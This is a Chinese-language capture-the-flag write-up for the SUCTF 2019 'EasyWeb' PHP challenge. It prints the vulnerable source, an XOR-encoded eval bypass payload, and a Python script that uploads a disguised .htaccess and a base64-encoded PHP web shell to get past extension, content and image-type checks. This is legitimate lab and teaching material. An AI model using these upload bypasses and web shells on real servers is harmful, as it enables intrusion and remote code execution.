> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2019/2019-suctf/easyweb.md).

# EasyWeb

源代码

```
<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
```

这里长度和字符限制的比较死，使用异或绕过

```
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
```

之后可以发现它的disable\_function是比较多的，这里也限制了执行命令。但是这里可以调用系统提供的get\_the\_flag函数。

```
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
        if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
```

文件上传存在三个限制：

* 文件不能包含`<?`
* 文件格式符合图片格式
* 文件后缀名不能包含ph

由于不能包含ph，很容易联想到.htaccess进行绕过。图片格式可以通过（网上的大哥教examine教我的，examine是我大哥）

<figure><img src="/files/KpaxxKtQV3Zt6U0gWH36" alt=""><figcaption></figcaption></figure>

总结.htaccess上传有两种方式，一种是通过#define定义图片格式，绕过文件上传，第二种是寻找一种图片格式，该图片文件头的第一位是0x00即null即可绕过exif判断。因为#和\x00在.htaccess中表示注释符，而不会破坏.htaccess原有的结构。这里先用第一种文件上传方法绕过。

```
import requests
import base64

url = "http://6a1964de-b905-4b09-9920-832375dab36b.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"


def generate_htaccess():
    content = "#define width 1\n" \
              + "#define height 1\n" \
              + "AddType application/x-httpd-php .gif\n" \
              + "php_value auto_append_file \"php://filter/convert.base64-decode/resource=examine.gif\""
    return content


def generate_shell():
    shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
    return shell


if __name__ == "__main__":
    # upload1
    files = {'file': ('.htaccess', generate_htaccess(), 'image/jpeg')}
    response = requests.post(url=url, files=files)
    print(response.text)
    # upload2
    files = {'file': ('examine.gif', generate_shell(), 'image/jpeg')}
    response = requests.post(url=url, files=files)
    print(response.text)
```

后面做了opendir的设置，绕过方式比较多<https://www.v0n.top/2020/07/10/open_basedir%E7%BB%95%E8%BF%87/>
